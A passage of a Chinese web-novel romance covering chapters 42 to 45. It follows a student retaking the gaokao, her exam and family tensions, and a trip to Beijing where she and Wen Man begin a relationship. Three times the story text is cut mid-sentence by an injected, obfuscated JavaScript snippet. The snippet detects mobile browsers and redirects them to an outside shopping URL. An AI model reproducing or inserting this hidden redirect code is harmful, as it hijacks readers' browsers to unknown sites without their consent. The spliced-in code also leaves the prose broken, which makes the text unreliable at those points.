犹疑片刻,她还是决定按原计划出去走走,万一能偶遇上,便算是缘分。 她走了一圈,果然谁也没碰上。 ……学校这么大,要碰上了才是奇迹。 她自嘲地想着,正要迈上通往走廊的踏步,抬眼却看到走廊上一抹熟悉的身影。 42. 梦成 那个背影……好像闻漫。 田知意揉揉眼,以为自己看错了。 她微微侧身,找到个能看清他侧脸的角度,这才确定了是他。 他……怎么会在这里? 田知意第一反应是追上去问个明白,可还没抬腿就先改了主意。 离她的班太近了,被同学看到了不好。 况且……就算喊住了人,又能问些什么呢? 这些天的疑问在她的脑海中打乱又重组,却没能拼凑出一句完整的话。 迟疑间,闻漫已经走近她班级的窗边。 只见他放慢脚步,稍稍低头,侧着往窗内看去。 仅短短几秒的斜睇,他便匆匆收回目光,又继续往前走。 神情几分失望,背影萧瑟而落寞。 田知意怔怔地站在原地。 ……他是在找谁吗? 她模模糊糊地猜到了答案,又将信将疑地在心中自证。 良久,她才低下头,轻轻地笑起来。 连日的疑虑如见了风的云般层层退去。 一瞬间满心里都是春光。 全世界的花都开了。 时间一晃来到七月,高考就在眼前。 文科生的考场被定在一个离连口很远的高中,学校包了辆加了座位的公交车统一送考。 考前一天,他们就坐着这辆公交车去看考场。 考场在离得挺远的另一所中学。布置好的教室不允许进,考生们只能隔着门看里面的布置。 田知意简单看了几眼,觉得和去年的布置也无甚大分别。 她从同校同学脸上也看到了同样的想法。 其他学校的文科考生倒是异常兴奋,叽叽喳喳讨论着黑板顶上的时钟是不是自动校准的。 一如去年的他们。 田知意已然想不起去年这时的心情,只晃晃悠悠地先回了车上。 她找了个后排靠窗的位置,想着离到学校还早,打算先睡上一觉,没想到返程时身边坐的女生是个话多的,时不时找她聊天:“听说你是苏城来的,去年考试你是家长送考的还是学校统一去的?” 她们往日没什么交集,好像只为收作业发作业说过几句话。 过去的事田知意很少主动回忆,想了想后才确定答案:“家长送的。” “那准考证也是从家里直接带到考场的吗?” 田知意想了想后点头。 “我也是。”女生“咯咯咯”地笑着,“本来那天就着急,结果路上还堵车。等匆匆忙忙到了考场,还因为戴手表耽误了时间,可真要命。现在想想,这不都是没考好的征兆吗?” “征兆?” “你不信吗?”女生疑惑地看着她,“我看你平时考试成绩挺好,会分在这个班应该不是因为实力吧。” 田知意努力想了想:“好像是有点道理。” “所以,”女生在她手心画了个圈,又帮她把手心攥住,“只要和去年有一点不一样,不幸的事就不会再发生了,这就是征兆。” “这样说的话,和去年还挺不一样的。”田知意握紧手心,“谢谢,你也一样。” 女生脸上笑意更显:“去年没有人这么祝福我,我今年也能有好运了。” 她的笑容里有几分不易察觉的失落,田知意看着她,心里突然涌起一种“同是天涯沦落人”的感慨。 这两学期来,田知意从来没有留意过身边的同学,直到今日才发觉,或许复读这件事对于这个班级、甚至整个学校的学生而言,都是件难以言说的伤痛。 想到这里,她轻轻握住女生的手:“会的,我们都会得偿所愿。” 在高考的前一天,她居然对这个班生出了归属感,真是不可思议。 回校后,班主任收齐了他们的准考证和身份证,锁在了办公室里,说明天出发前发给他们。 这样规避了忘带准考证的风险,田知意心里莫名松了一块。 今晚没有晚自习,也没有再看书的心情。 田知意不想一早就捧着手机看剧看到睡觉。 晚饭后,她拎着小提琴盒去了街心公园。 夏夜有不少居民在公园里纳凉,她沿着树林一路走,走到深处才总算看不到什么人。 但蚊虫也着实不少。 田知意拿出驱蚊水一顿猛喷,这才觉得稍微清爽些。 这个季节的这个点,天还没有黑透。树林昏暗,像是蒙了灰色的纱。 田知意没有带曲谱,就算带了也看不清,只取出琴来,试了试音准,便信马由缰地随意演奏。 她本想试试能不能就这样随便地拉出首新曲子出来,但拉着拉着还是转向了她最熟悉的《Gymnopédies》。 时间仿佛倒流回她再次找出小提琴的那个下午,命运使然般地从琴盒飘出一张《Gymnopédies》的曲谱,尘封的记忆在那一刻被打开,新生的自己开始萌芽,一路成长至今。 树林里清极静极,纵然有琴声,也掩不住半点杂音。 田知意听到有脚步声由远及近,但秉持着一个演奏者的原则,她坚持到一曲终了才回头。 天色渐暗,不多的光线只能勾勒出来人的轮廓,但田知意还是辨识出了他的身份:“闻漫?” “是我。”闻漫从阴影里向着她走来,“我在散步时听到这边有小提琴声,心想是不是你,就来看看。” 田知意放下琴:“明天就要考试了,今晚不用复习吗?” “可能会有人在晚上复习,但我想出来散步。” 田知意顺理成章地接上:“大考大玩,小考小玩。” 闻漫笑着听完:“这对话好像在哪里听过。” 在他考完高联的那个下午,在他意外遇见练琴的她后,他们彼时的交流兜兜转转在此刻重现,只不过那时的他刚经历一场孤军奋战,如今的他们将作为同袍共赴战场。 “想听什么?”田知意重新架起琴,“还是恰空舞曲?” 闻漫摇头,伸手做了个“请”的手势:“这次你说了算。” “这倒是有点难倒我了。” 田知意歪了歪脑袋,稍加思索后拉动了琴弓。 一段温暖的乐曲顺着琴弦缓缓倾斜下来,有阳光,有火炉,有挡着寒风的厚厚窗玻璃,有摆满餐桌的芳香晚餐,似乎包涵了所有的柔情与美好。 “听出这是哪一首曲子了吗?”田知意看着闻漫问。 “维瓦尔第《四季·冬》第二乐章。”闻漫想了想补充,“我分享过给你。” “听着冬二的确睡得非常好。”田知意把小提琴收好,“该回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176960|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 她与闻漫一后一前地走在回公寓的马路上,这条路他们不止一次走过,但似乎每次都与考试相关。 路上人不少,闻漫慢下脚步,走在她的外侧,一路帮她挡着擦肩而过的路人。 田知意试着往里面让了让,想给他留些走路的空间,两人却不可避免地越贴越近,直到左手与右手贴在一起时,闻漫才偏头看了她一眼。 四目相对。 田知意不知该如何处理,只活动了下手指。 闻漫顺势握上,紧紧地握住。 田知意下意识地指节一紧,但很快松弛下来。 以往也有过她的手被塞进他口袋的里时候,但终究不及此时十指相扣这般明目张胆。 ……就像一对真正的恋人一样。 “闻漫。”田知意轻轻唤他。 “嗯?”闻漫脚步一顿,连微晃的手也止住了,生怕她要松开。 田知意垂下眼,到嘴边的话重新咽了回去,最后只轻轻地说了句:“明天,要加油啊。” 闻漫心里轻松下来,脚步也轻快起来:“你也一样,要加油啊。” 田知意看着他们交错紧握的手,突然想到,去年高考前,她可没有经历这样一个满足的夜晚。 ……如果这就是所谓的征兆,那一定预示着一个好兆头。 高考首日,第一门就是语文。 语文算是田知意的强项,她答得还算得心应手,很快就到了作文。 “同声相应,同气相求。” 作文材料的前八个字看得她呼吸一滞。 这八字就能让她联想到许多许多:她想到《诗经·伐木》里的“嘤其鸣矣,求其友声”,想到她与闻漫共同喜欢的《四季·冬》,想到章成绢与她讲过的与闻叔相处的故事…… 她把这些都写在了草稿纸上,一时分不清是该写记叙文还是议论文。 高考考场上向来是议论文比较保险,但田知意相信写记叙文更能有真情实感。 她的心脏砰砰地跳,似乎在提醒她既然这一年有这样丰富的生活,应该充分地、完全地用在考场,才不会辜负她所经历的一切。 田知意也差点被这念头打动了。 所幸,她还记得要把材料读完,接下来的“智能互联网时代”几个字直接让她倒吸了几口凉气。 ……好险,差一点就上当了。 这篇作文需要从更广义的角度去讨论同和异,而她此前的构思竟在不经意间完全离题了。 田知意迅速在草稿纸上划去刚刚想到的所有念头,几分失落的同时又有几分庆幸。 她与闻漫、章成绢之间发生过的美好过往,可以好好藏在心底,不用变成作文里冰凉的文字,最后被划出档次,打上分数。 况且,她的经历里,也并非全无可写的之处。田知意深思熟虑后,决定在对比论证里加上一点小小印记。 她在题纸上轻快地写下: “同气相求的现象自古有之。古人在编诗集时总倾向于把风格相近的作品集结成册,但《全唐诗》却反其道而行之,按时代排序,反而让同时代却观点各异的诗人碰撞出绚烂的火花。” 没有他人知道的那个午后,明媚但不刺眼的阳光,与此刻试卷上的光斑重合在一起,散发出温和而令人平静的馨香。 43. 梦成 高考结束后,公寓的学生纷纷退租,打道回府等待出分。 6月的时候,田知意从母亲朋友圈看到妹妹出生了,算了算日子,现在母亲应该还没出月子中心。 ……家里很可能没人。 田知意犹豫再三,还是决定给母亲打个语音确认情况:“妈,我高考考完了。” 母亲的声音有些疲惫,似乎还没睡醒:“小点声,刚哄你妹妹睡着。” 田知意不知道怎么在通话过程中调音量,只能压低声音:“我考试考完了。” 果不其然,这一蠢招遭到了母亲的吐槽:“你怎么声音轻得像做贼,又没考好吗?” ……主打一个横竖都不满意。 田知意也累了:“妈,我刚考完,好不好还不知道。” “怎么才考完,去年这时候志愿都填完了。” 田知意无语:“高考延期了,妈。” 母亲隐约想起来有这么回事,但她当时心思都在待产上,也没关心过具体延期了多久:“延了有那么久吗?” “延了一个月。” 母亲不说话了,再出声时有些强撑的心虚:“那你想说什么呢?” 田知意听得心里麻麻的:“家里有人吗?我可以回家吗?” 回答她的又是长时间的沉默。 ……算了,就知道家里没人。 就算她打算说些什么跳过这段对话时,母亲长足的叹息声传来:“你什么时候能懂点事?” 田知意翻了翻白眼,没有说话。 指责来得没头没脑,让她认错都找不到方向。 母亲像是瓶投入了曼妥思的可乐,心里的怨气如火山般喷发:“你知道小孩有多难带吗?每两个小时就要哭一次,还要闹。你爸嘴上说晚上在这里陪我,但就知道睡,喊都喊不醒……你这么大了,考完试不说来帮我分担一下,还问家里有没有人照顾你……” 田知意看着不远处桌上的药瓶,突然意识到母亲可能病得不比她轻。 ……别是得产后抑郁了吧? 田知意想了想问:“我看月子中心有月嫂,好用吗?” “根本不好用。”母亲抱怨地停不下来,“小孩乖的时候来哄一哄,闹的时候根本见不到人。我一个人在这儿叫天天不应,叫地地不灵,都不知道拿她怎么办……” “拿谁怎么办?”田知意听迷糊了,“妹妹吗?” “你妹妹才多大。”母亲气呼呼地答,“当然是月嫂。” “那……”田知意想了想,出了个馊主意,“给她打差评?” “对!没错!”没想到这馊主意刚好称了母亲的心意,“我一定要给她打差评。” 许是心里的怨气一股脑儿地出了,母亲慢慢平静下来,意识到刚刚对田知意的冲动:“算了,她多少也算个帮手,还要住上二十来天呢,好好处吧。” “那我要过去照顾你吗?”田知意问。 “这里只能呆我和你爸,你来了算访客,不能过夜的。”母亲说。 “那我一个人在这里住到出分?还有十来天呢,别人都退租了。” “要不你出去玩玩?”母亲提议,“人家高考不都出去散心了吗?你找个地方旅游去,别来烦我就成。” 田知意了解母亲现在的心情,她也有过类似的时刻,情愿一个人呆着,也不要人群围着来烦她。 “我打算去一趟京市,看一看路嘉茉,她在清华读书。” 母亲总算听到句顺耳的:“读清华好啊,你正好问问人家你读什么大学好。” “我也正有此意。”田知意说,“但去一趟比较贵……” 她话还没说完,就收到了来自母亲的一笔转账。 “不说了,你妹又哭了。”母亲着急要挂断通话,“分数到时间你自己查,等填志愿的时候再细商量。” 田知意看着通话结束的界面,一时有些恍惚。 她本想用去京市比较贵做借口,打消母亲劝她去旅游的计划,没想到母亲如此干脆,钱直接转给她了。 ……这么一大笔钱。 田知意犹豫片刻,还是点了开收了。 这下真的得去趟京市了。 田知意正翻小红书计划行程,忽地听到有人敲门。 ……这个时候还会有谁来找她?是楼长来赶人了吗? 揣着忐忑的心思开了门,只见来人是闻漫。 “你还没回家吗?” 田知意瞬间松弛下来,脸上也出现了笑意。 她以为像他这样的本地学生走得是最早的。 “今天统一退租,人太多了,刚刚才办完。”闻漫反过来问她,“你不走吗?” 田知意摇头:“我妈还在月子中心,家里没人,不方便回去。” “那你现在是怎么打算的呢?”闻漫问,“在这里住到填志愿吗?有小二十天呢。” “我妈给我钱让出去旅游,我想了想有朋友的也就京市。” “你一个人吗?” 田知意有些忧虑:“还不知道。能和我一起去见小茉莉的只有周宇泓了,但他还没放假。” “盛漾应该也会出席吧?” “可能吧?毕竟他们住一起。”田知意说完才意识到闻漫竟记得如此清楚,“你不说我还没反应过来。”’ 闻漫歪着脑袋看她,不说话。 “这样说来我一个人去确实有些尴尬,像个大电灯泡。”田知意也刚好在犹豫旅行的成立性,“而且一个人出去也太危险了。” 她隐隐觉得气氛有些异样,一抬眼只见闻漫正看着她,目光炽热。 田知意心思一动,突然明白了他的意图,转而问:“你接下来有什么安排吗?” 闻漫回答地飞快:“完全没有。” 满脸都写着“我很闲快邀请我”。 田知意心里为自己的敏锐叹了口气:“那你愿意一起去见见我的朋友吗?” “乐意之至。” 闻漫答应得爽快,田知意却不放心,让他再回去问问章成绢的意思。 农家少闲月,五月人倍忙。 田知意不懂农时,但也不想因为她的私事耽误了人家的活计。 闻漫当着她的面拨通了章成绢的号码,随后很快收到了一笔转账。 “穷家富路,花钱大方点。”章成绢仔细地叮嘱闻漫,“别学什么AA。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187950|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>田知意看看闻漫,闻漫回看她。 两人相顾无言,最后还是闻漫打破了沉默:“那我们就各自准备出发吧。” 田知意对着网上的攻略查了查,发现京市的景点大多要提前一周预约,且很多室内景点因为防疫要求都没开放,能去的只有露天的景点。 闻漫倒是很乐观:“京市不一定只去一次,室内景点下次再看就行了。” 一周后的上午,闻漫和田知意在机场门口碰头了。 “我们到京市应该是中午,等安顿下来也下午了。”田知意对着详细的出行计划,“吃过饭之后就随便逛逛,明天上午去看景点,下午路嘉茉会带我们在清华校园里走一走,她现在和盛漾有时会住在里面。” “住清华园里。”闻漫低声感慨,“是荷清苑吗?” “好像是叫这个名字。”田知意翻了翻与路嘉茉的聊天记录,“对对对,就是那里,你了解得真清楚。” “这怎么能不知道呢……”闻漫别过头去,轻声呢喃。 田知意感觉他的状态怪怪的,便跟着转头去看他。 只见他垂着眼,一副沉思的模样,见她看过来才露出一抹让她安心的笑容:“没事。” 他鲜少有这样一副勉强的模样。 田知意暗觉不妙,却又猜不到不原因,只能试探着问:“不喜欢吗?” “怎么会。”闻漫连忙出声,随即苦涩地笑笑,“那可是我心中的圣地。” 田知意从他的眼中读出了遗憾。 万千学子,有几个没在儿时梦想过要读清北呢? 可随着年纪增长,慢慢就觉悟了清北不过是场遥不可及的梦。每年清北在全国招录的学生统共也没多少人。 生在乡村的闻漫,从苏城转学去京市的路嘉茉,以及生在清华园的盛漾……纵使闻漫披荆斩棘至今,惊险地越过无数沟坎,可真当命运的鸿沟毫无掩饰地展露在眼前时,他也再难保持冷静。 想到这里,田知意看向闻漫:“如果不想去就不去了,我让她改约别的地方。” “我没事,不用改计划。” “既然这样,”田知意轻轻握住闻漫的手,“就当一场圣地的巡礼,然后活在当下吧。” 这是她在章成绢那里学到的,她想如果章成绢如果在这里,应该也会这么说。 闻漫听了,许久没有说话。 等他再出声时,已然露出了轻松的神情:“你说得对,活在当下。” 清华正门前,一位清丽少女已经等候多时,见田知意他们过来,遥遥地挥手。 “小茉莉!”田知意飞快地跑过去,一把抱住她,“好久不见!” 路嘉茉也回拥住她:“有两年了吧?你现在跑好快。” 田知意回头指了指闻漫:“闻漫。我的体能在他老家练的。” 路嘉茉这才分出心思细细打量闻漫:“他看起来好斯文。跟我想的不一样。” 田知意一惊:“你是怎么想他的?” “你说他很高又有力气,我想会不会是壮汉型的。”路嘉茉凑近田知意耳边低声问,“他有腹肌吗?” 田知意瞬间红了脸:“我,和他还没到那步!” 44. 梦成 路嘉茉略显失望地看了她一眼:“那你可要好好想想,他一看就是会招学姐喜欢的类型。” 田知意瞥了眼路嘉茉:“你说的这个学姐应该不是你自己吧?” 路嘉茉看着她笑笑:“来自大一学姐的综合判断。” “行吧。” 田知意顺着路嘉茉的思路想了想,心里不禁跟着躁动起来。 朝夕相处发展出的爱恋,真的能敌得过时间吗? 她们在前面边走边悄声耳语。 闻漫离她们有些距离,沉默地跟在后头。 田知意不确定他能不能听到她们的对话,只觉他要是听清了,可能会失望。 她们的话题里没有任何营养,只有恋爱的粉色泡沫。 路嘉茉对田知意复读的生活非常感兴趣:“去年这时候的你状态吓了我一跳,现在看起来好多了。” 田知意想了想,从乌云般的记忆里捞出些许还算完整的片段:“那时感觉一下子就垮掉了。” “是因为他好起来的吗?”路嘉茉偷偷往后指了指。 田知意不确定:“有可能。但我现在不想太依赖任何人。” 靠山山倒,靠人人跑。她花了一年的时间才想明白,即便是父母,在发现她是个负担的时候,想到的也是尽快切割。 她只能想着与人好好相处,半点不能想全盘指着别人。 “这也是种办法。”路嘉茉换了个问题,“想好报哪里的学校了吗?你说过闻漫是要去浙省的。” “我也在考虑这个。”田知意叹了口气,“如果发挥正常的话,浙省应该没有适合我的学校。” “江省离浙省不远,而且可选择的学校就多了。” “那样的话……”田知意下意识抬头望天,“就不得不经常回家了。” 在壶州读书的经历让她明白,或许离家远远的、开启自己做决定的生活,才是对她最好的方式。 “唔。那就选个你想去的地方,然后开学前把他拿下。”路嘉茉大胆提议。 “啊?”这下轮到田知意往后指了,“你说拿下他吗?怎么拿?” 路嘉茉右手合拳,在左手掌上一敲:“让他做你男朋友,有名有实的那种。” “啊……”田知意感觉自己的三观受到了猛烈的冲击,“谈了之后呢?” “他就是你男朋友了啊,你就脱单了。” “那我跟他可能要异地。” “异地了就不是你男朋友了吗?”路嘉茉问。 “说得也是。”田知意的大脑开始高速运转,“那要是分手了呢?” “分手怎么了?” “好不容易获得了一段爱情,就这么失去了也……太让人难过了。” “因为谈恋爱会分手所以就不谈了吗?”路嘉茉的话语如连珠炮似的,“还有,分手怎么能叫失去爱情呢?爱情得到了就是得到了,分手只能叫不要了、丢掉了、没用了,换个有用的不就成了。” 这是田知意第二次接受“因为……就不……了吗”句式的洗礼,偏偏两次都给她的心灵造成了十成十的震撼:“Nice.” 她偷偷回头看了眼身后不远处的闻漫,只见他正专心致志地观赏清华园,丝毫没有注意到她们在聊什么。 ……只有不熟的人才会考虑智商巅峰不巅峰的,真的姐妹只会关心你的男人有没有腹肌、甜甜的恋爱有没有谈起来。 路嘉茉仍在滔滔不绝:“你们这次来这里,我觉得就是极好的机会。像他这样没经验的男生第一次多少都会有些生疏,但之后熟练了就会好起来了。” 田知意听了满头黑线。 ……她还会关心你们的第一次。 晚上,路嘉茉选了家清华园附近的融合菜馆招待他们。盛漾也出现了。 他话不算多,但意外和闻漫很聊得来。 闻漫早已恢复从前游刃有余的模样,与他相谈甚欢。 饭后,田知意跟路嘉茉道别。 路嘉茉上前抱抱她,在她耳边低语:“我教你的方法别忘了。” 田知意一回想便觉得害臊,但眼下只能配合路嘉茉:“都记住了。” 她转头没走多远,手机就响了,低头发现是路嘉茉发来的,只有一句话: “择日不如撞日,冲!” 田知意抬头看看走在前面的闻漫,一时不知该如何回复。 似乎察觉到她的目光,闻漫也回过头来。 他本自带一穹静气,烦躁时仅是看着他,便能教人平静下来。 田知意怔怔地望着,这一瞬,天地间仿佛只剩了彼此。 “闻漫。”她低声喊他名字。 “嗯?” 田知意不知该如何起头,只含糊地问:“你……还好吧?” “当然。”闻漫轻轻地笑起来,“当下很好。” 夜色将闻漫笼罩,路灯却为他的眉眼上了层柔和的滤镜。 人群在夜幕下攒动如潮,他是暗色里唯一的光。 任四周人声鼎沸,田知意耳边惟余自己的心跳声。 她不知道是闻漫当真显眼,还是她心里的欢喜聚成了他周身的光亮。 她只知道,她的心意已然像开弓的箭,再也没了回头的可能。 ……活在当下。 此前说过的话如魔咒般,驱使着田知意回复路嘉茉:“……好。” 出了地铁站,离入住的民宿还有1.2公里。 田知意边走边寻找便利店,终于在一家7-11前喊住了闻漫:“要不要买点喝的?” “不了吧,等下就到……”他话还没说完,却见田知意已经迈进了7-11的门,于是改了口,“你想喝点什么?” 田知意一路走到卖酒的货架上:“我想突然喝点。” 没等闻漫拒绝,她的目光已经落在了他身上:“不然总觉得少了点什么。” “会影响你吃药吗?”闻漫问。 田知意将双手背在身后:“最近是我的停药期。” 闻漫怔了怔,心里有什么悄然发生了变化。 他说不出拒绝的话,只得垂下眼:“那拿两瓶啤酒吧。” “我不想喝啤酒。”田知意打开小红书,找到家常调酒的笔记,“我想喝这种。” 闻漫看了眼笔记内容:“这样,那我来看看。” “我去找冰杯。” 田知意这么说着,不动声色地离开,快速找齐了要买的东西,结完帐站在前台等他。 不一会儿,闻漫拎着几种基酒和饮料走了过来:“怎么不等我一起结账?” “一个冰杯而已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196987|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”田知意摆弄着杯子,帮他一起自助结账,“我以前没在7-11买过东西,试着用用这个机器也不错。” 闻漫看了她一眼,直觉告诉他她心里有事。 但她既然不说,他便也不问。 两人各怀心事地回到了民宿。 这是家上下两层有两张床位的LOFT,田知意睡楼上,闻漫睡楼下。 LOFT里配了一间厨房,净水器、电冰箱和消毒柜一应俱全。 田知意一回到民宿便去洗澡,闻漫则在厨房里捣鼓她想喝的酒。 他虽然粗通厨艺,对于调酒却一窍不通,照着小红书上的笔记捣鼓了许久,才勉强配出一杯葡萄乌龙朗姆和一杯西柚茉莉伏特加。 ……会好喝吗? 闻漫看着两只古典杯,陷入怀疑。 他正想各取一点出来尝尝,却不知田知意何时已经站到他身后:“你去洗澡吧,酒杯我来拿到阳台上。” 闻漫抬眼,只见她长发随意地披散下来,刚好在肩头打了个旋,还残留着洗发水的香味。 白色冰丝睡裙在灯光下折射出珍珠般温润的光泽。睡裙的领口不高,有圈纯白的蕾丝勾勒在锁骨的位置。 他的脑袋“嗡”得一声,结结巴巴地丢下一句“那我去了”,就跑进了浴室。 田知意听到浴室门“砰”地关上的声音,想到路嘉茉的话,只耸肩笑笑。 她拉开通往阳台的推拉门,夏夜凉爽的风迎面而来。 京市城区的灯光点点如繁星,被她尽收眼底。 她坐在阳台的铁艺靠背椅上,双脚抬起踩到茶几的腿上,一副半躺着的闲适姿态,仰着感受吹来的风。 加了冰块触在掌心凉凉的,搭上她灼热的心,刚好。 闻漫出了浴室,看到的便是这副情景。 田知意侧过脸跟他招手:“闻漫来,这里坐。” 她把另一张铁艺靠背椅拉到了她身边,两个人并排坐。 闻漫依着她的意思过去,只见他的面前摆着那杯葡萄乌龙朗姆。 田知意轻轻抿了口她手中杯里的西柚茉莉伏特加,笑着对闻漫说:“为了选出我喜欢的口味,这两杯我都尝过了,不介意吧?” 闻漫一瞬间就明白了她话中的意思。 ……这是她喝过的杯子。 他的喉结不自觉地上下滑动,握杯的手已然有些止不住的颤抖。但他还是强忍住内心的躁动,尽量保持平静地答:“没关系。” ……怎么会没关系呢。 闻漫不安地转了转杯子,试图从杯壁的温度差别去辨别她喝过的位置。 可不知是冰块太凉,还是温度消散得太快,他始终发现不了那点异样,反倒将手掌冰得冷汗涔涔。 入口的酒液分明是冰冷的,落到心里却是滚烫。 就在这时,他听到田知意轻轻的声音:“关于你的问题,我的回答是:我愿意。” 闻漫下意识望向阳台外,天空一片澄明,他却听到有烟花轰然作响。 他费了好大劲才反应过来,那样如雷般的动静,来自于他的心。 他等这个回答等了太久太久,以至于等到时都忘了曾经想好的该有的反应。 但那些都不重要。 重要的是,她说了“我愿意”。 45. 梦成 闻漫深呼吸了好几次,试图然自己冷静下来。 他转头偷偷去看田知意,只见她正捧着酒杯,杯里被她喝得只剩下还没化开的冰块。 “你怎么喝那么快!”闻漫惊得把方才的悸动抛到了九霄云外,“会醉的啊。” “是吗?”田知意晃晃地放下酒杯,仰起脸朝天伸出手,“我说怎么有种天旋地转的感觉……” 踩着茶几腿的脚一打滑,她坐立不起,直接往闻漫那边侧翻过去。 闻漫忙伸手扶住她,她的发丝如柳条拂过的他的面,发梢掀起一阵馨香,仿佛投入了一片花田。 她的体温穿透睡衣的布料,温温热热的,甚至还有些凉,倒教他的温度直线上升。 他的双手似乎被旖旎的绮思绊住了般,笨拙地不知该如何自处。 “知意……”他轻轻唤她,“醒醒。” “想……睡觉……”她含混不清地呢喃,张开双手,想找个支撑点,勉力爬着站起来。 闻漫连忙搂住她:“你别动了。” 所幸田知意还能听得进去话,说不动就不动了。 闻漫松了口气。 他把田知意的胳膊搭上他的脖子,一手拦住她的胳膊,一手托住她的膝盖窝,将她公主抱起来。 起身的时候他有些恍惚,仿佛回到了元旦看烟花时的天台,独自面对沉睡的她。 那时她瘦得只剩骨头,纤细得仿佛不当心就会被碰碎。 如今终于沉手了些,抱起来有了些安全感。 他觉得自己没喝几口酒,但脚步已有些微醺的虚浮。 许是他的心里乱了,看哪里都在转。 也就是这种微醺感,让他打消了把田知意抱上楼的念头。 ……先把她放在一楼的床上吧,自己在沙发上躺一晚也没什么问题。 闻漫这么想着,轻轻把田知意的头搁在枕头上。 他放平田知意正要离开时,感觉到本是虚缠着他颈项的胳膊猛一用力。 闻漫猝不及防被带着一翻滚,下意识闭眼再睁开,已然是自己躺着,田知意趴在上面看着他。 “我一直在怀疑元旦那天我是怎么回房间的。”田知意微微低头凑近他,“现在我终于确定了,原来你还做了这样的事。” 她的眼睛亮亮的,目光却有些散,是半蒙昧半清醒似醉非醉的状态。 闻漫心底本就一团烈火,此时燃得更烈。 他盯着田知意光洁的面颊,听着她鲜明地指出他的所做所为,突然兴起,一抬头吻上她的脸颊:“我还做了这样的事。” 田知意一愣,白皙的面容瞬间转红:“那天晚上?” 她的问题没有得到回应,闻漫一扶一掀,田知意跟着滚动,脑袋落回枕头上。 闻漫抽出双手,低头轻吻她的额头:“你累了,好好休息。” 说着,他起身就要走。 田知意哪里肯在这时放他走,立即坐起拉住他的胳膊。 闻漫往回收了收手:“不可以再继续了。” 田知意硬拽着不放:“继续指什么?” 闻漫支吾着说不出话来。 田知意一手拽住他,一手从枕头下摸出两个小方盒。 在看清她手里物件的瞬间,闻漫的双眼猛地瞪大:“你什么时候买的?怎么放哪里去的?” “在便利店买的,你洗澡的时候藏进去的。”田知意把两个方盒夹在食指与中指间,递到闻漫眼前,“来,选个你喜欢的。” …… 晨曦的光芒透过窗帘的缝隙照进室内。 闻漫睁开眼。 他下意识去摸手机,伸手却触到身侧的田知意。 田知意还没醒,只轻轻“咕嘟”了声,翻了个身。 她的鼻尖落在他的眼前,刚好能清晰地看到她的睫毛,如流苏尾般柔软而熨帖。 闻漫忍不住伸手,轻轻点了点她的小翘鼻。 这一点,把田知意弄醒了。 她一睁眼,惊叫一声,手忙脚乱地往被子里躲。 闻漫往床边让了让,怕被她打到。 田知意把被子拉到鼻子上,只露出两只眼睛眨巴眨巴地看着他。 闻漫只觉心都要化了,笑着问她:“怎么了?” 田知意别开眼:“这么被人看着很难为情。” 闻漫伸手戳了戳她的脸:“昨晚你拿两个盒子的时候可A了。” 说着,他比了个剪刀手,学田知意的语气:“来,选个你喜欢的。” ……这人怎么还玩羞耻的呢。 田知意看着他的手指,突然凑近,咬了一口。 “啊。”闻漫低呼,“疼。” 田知意忙松口:“太用力了吗?” 她想要看清他的伤势,却被他揽过后脑勺,吻了上来。 田知意想要挣扎,可他的左手刚好不轻不重地按着她,教她不得动弹。掌心的温热沿着发丝在头部蔓延,她感到头麻酥酥的,几分惬意,几分困倦。 “我还以为你真受伤了,没想到只是诓我。”田知意垂眼说。 “没有诓你,是真的疼。”闻漫搂紧她,“但更想亲你。” 情歌里尽是甜言蜜语,我用吻镌刻于你的唇。 从唇齿间采下花儿,串成精致的链子。* 他们在京市住了一周,直到快出分才返回壶州。 订回程票时,闻漫突然提议火车返回。 壶州还没通高铁,坐火车要将近13个小时。 田知意不解:“坐飞机不是更有效率吗?” 绿皮火车硬卧是6人的开放空间,软卧是4人的封闭空间。 她既不想和其他四个人暴露在大庭广众之下,更不想和另外两个陌生人关在一个包厢内。 “那两个人的包厢呢?”闻漫从背后抱住她,贴着她耳畔说话,“两张床,一张沙发还有独立卫生间的高级软卧车呢?我们这里去火车站比去机场方便多了,时间也宽松。” 自打确认关系后,闻漫就格外黏田知意,恨不得时时与她一起,分开片刻也不成。 田知意一时还不太习惯如此亲密的关系,微微偏了偏头:“还有这样好的包厢?” “从京市回壶州的两班火车都是这样的。价格比红眼航班贵些,但要舒适得多。” 他解释着却不肯好好解释,故意贴着她鬓边摩挲,蹭得她心痒。 田知意忍不住转头,想出声阻止,刚好被他抓住机会,以吻封缄。 她就这样半推半就地应下了他的建议。 列车出发的时间在晚上,田知意和闻漫吃过晚饭后,才赶往火车站。 虽 